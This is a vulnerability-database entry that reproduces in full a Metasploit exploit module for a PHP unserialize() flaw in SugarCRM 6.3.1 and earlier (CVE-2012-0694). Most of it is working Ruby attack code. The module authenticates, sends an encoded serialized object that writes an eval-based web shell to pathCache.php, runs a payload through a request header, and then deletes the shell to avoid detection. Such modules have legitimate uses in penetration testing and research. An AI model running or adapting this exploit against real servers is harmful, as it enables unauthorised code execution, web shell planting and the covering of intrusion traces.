SugarCRM unserialize() PHP Code Execution

2012-06-25T21:25:38
ID MSF:EXPLOIT/UNIX/WEBAPP/SUGARCRM_UNSERIALIZE_EXEC
Type metasploit
Reporter Rapid7
Modified 2019-08-02T14:48:53

Description

This module exploits a php unserialize() vulnerability in SugarCRM <= 6.3.1 which could be abused to allow authenticated SugarCRM users to execute arbitrary code with the permissions of the webserver. The dangerous unserialize() exists in the 'include/MVC/View/views/view.list.php' script, which is called with user controlled data from the 'current_query_by_page' parameter. The exploit abuses the __destruct() method from the SugarTheme class to write arbitrary PHP code to a 'pathCache.php' on the web root.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule &lt; Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           =&gt; 'SugarCRM unserialize() PHP Code Execution',
      'Description'    =&gt; %q{
          This module exploits a php unserialize() vulnerability in SugarCRM &lt;= 6.3.1
        which could be abused to allow authenticated SugarCRM users to execute arbitrary
        code with the permissions of the webserver.

        The dangerous unserialize() exists in the 'include/MVC/View/views/view.list.php'
        script, which is called with user controlled data from the 'current_query_by_page'
        parameter. The exploit abuses the __destruct() method from the SugarTheme class
        to write arbitrary PHP code to a 'pathCache.php' on the web root.
      },
      'Author'	=&gt;
        [
          'EgiX', # Vulnerability discovery and PoC
          'juan vazquez', # Metasploit module
          'sinn3r' # Metasploit module
        ],
      'License'        =&gt; MSF_LICENSE,
      'References'     =&gt;
        [
          [ 'CVE', '2012-0694' ],
          [ 'OSVDB', '83361' ],
          [ 'EDB', '19381' ],
          [ 'URL', 'http://www.sugarcrm.com/forums/f22/critical-security-vulnerability-76537/' ]
        ],
      'Privileged'     =&gt; false,
      'Platform'       =&gt; ['php'],
      'Arch'           =&gt; ARCH_PHP,
      'Payload'        =&gt;
        {
          'DisableNops' =&gt; true,
        },
      'Targets'        =&gt; [ ['Automatic', { }], ],
      'DefaultTarget'  =&gt; 0,
      'DisclosureDate' =&gt; 'Jun 23 2012'
      ))

    register_options(
      [
        OptString.new('TARGETURI',	[ true, "The base path to the web application", "/sugarcrm/"]),
        OptString.new('USERNAME', [true, "The username to authenticate with" ]),
        OptString.new('PASSWORD', [true, "The password to authenticate with" ])
      ])

    self.needs_cleanup = true
  end


  def on_new_session(client)
    if client.type == "meterpreter"
      f = "pathCache.php"
      client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
      begin
        print_warning("Deleting #{f}")
        client.fs.file.rm(f)
        print_good("#{f} removed to stay ninja")
      rescue
        print_warning("Unable to remove #{f}")
      end
    end
  end

  def exploit
    base = normalize_uri(target_uri.path)

    username = datastore['USERNAME']
    password = datastore['PASSWORD']

    # Can't use vars_post because it'll escape "_"
    data = "module=Users&"
    data &lt;&lt; "action=Authenticate&"
    data &lt;&lt; "user_name=#{username}&"
    data &lt;&lt; "user_password=#{password}"

    res = send_request_cgi(
    {
      'uri'    =&gt; normalize_uri(base, "index.php") ,
      'method' =&gt; "POST",
      'headers'   =&gt;
        {
          'Cookie'  =&gt; "PHPSESSID=1",
        },
      'data'   =&gt; data
    })
    if res.nil? || (res.headers['Location'] && res.headers['Location'].include?('action=Login')) || res.get_cookies.empty?
      fail_with(Failure::NoAccess, "#{peer} - Login failed with \"#{username}:#{password}\"")
    end

    if res.get_cookies =~ /PHPSESSID=([A-Za-z0-9]*); path/
      session_id = $1
    elsif res.get_cookies =~ /PHPSESSID=([A-Za-z0-9]*);/
      session_id = $1
    else
      fail_with(Failure::NoAccess, "#{peer} - Login failed with \"#{username}:#{password}\" (No session ID)")
    end

    print_good("Login Successful (#{username}:#{password})")

    data = "module=Contacts&"
    data &lt;&lt; "Contacts2_CONTACT_offset=1&"
    data &lt;&lt; "current_query_by_page="
    #O:10:"SugarTheme":2:{s:10:"*dirName";s:5:"../..";s:20:"SugarTheme_jsCache";s:49:"&lt;?php eval(base64_decode($_SERVER[HTTP_CMD])); ?&gt;";}
    data &lt;&lt; "TzoxMDoiU3VnYXJUaGVtZSI6Mjp7czoxMDoiACoAZGlyTmFtZSI7czo1OiIuLi8uLiI7czoyMDoiAFN1Z2FyVGhlbWUAX2pzQ2FjaGUiO3M6NDk6Ijw/cGhwIGV2YWwoYmFzZTY0X2RlY29kZSgkX1NFUlZFUltIVFRQX0NNRF0pKTsgPz4iO30="

    print_status("Exploiting the unserialize()")

    res = send_request_cgi(
    {
      'uri' =&gt; "#{base}index.php",
      'method' =&gt; 'POST',
      'headers'   =&gt;
      {
        'Cookie'  =&gt; "PHPSESSID=#{session_id};",
      },
      'data' =&gt; data
    })

    unless res && res.code == 200
      fail_with(Failure::Unknown, "#{peer} - Exploit failed: #{res.code}")
    end

    print_status("Executing the payload")

    res = send_request_cgi(
    {
      'method' =&gt; 'GET',
      'uri'    =&gt; "#{base}pathCache.php",
      'headers' =&gt; {
        'Cmd' =&gt; Rex::Text.encode_base64(payload.encoded)
      }
    })
  end
end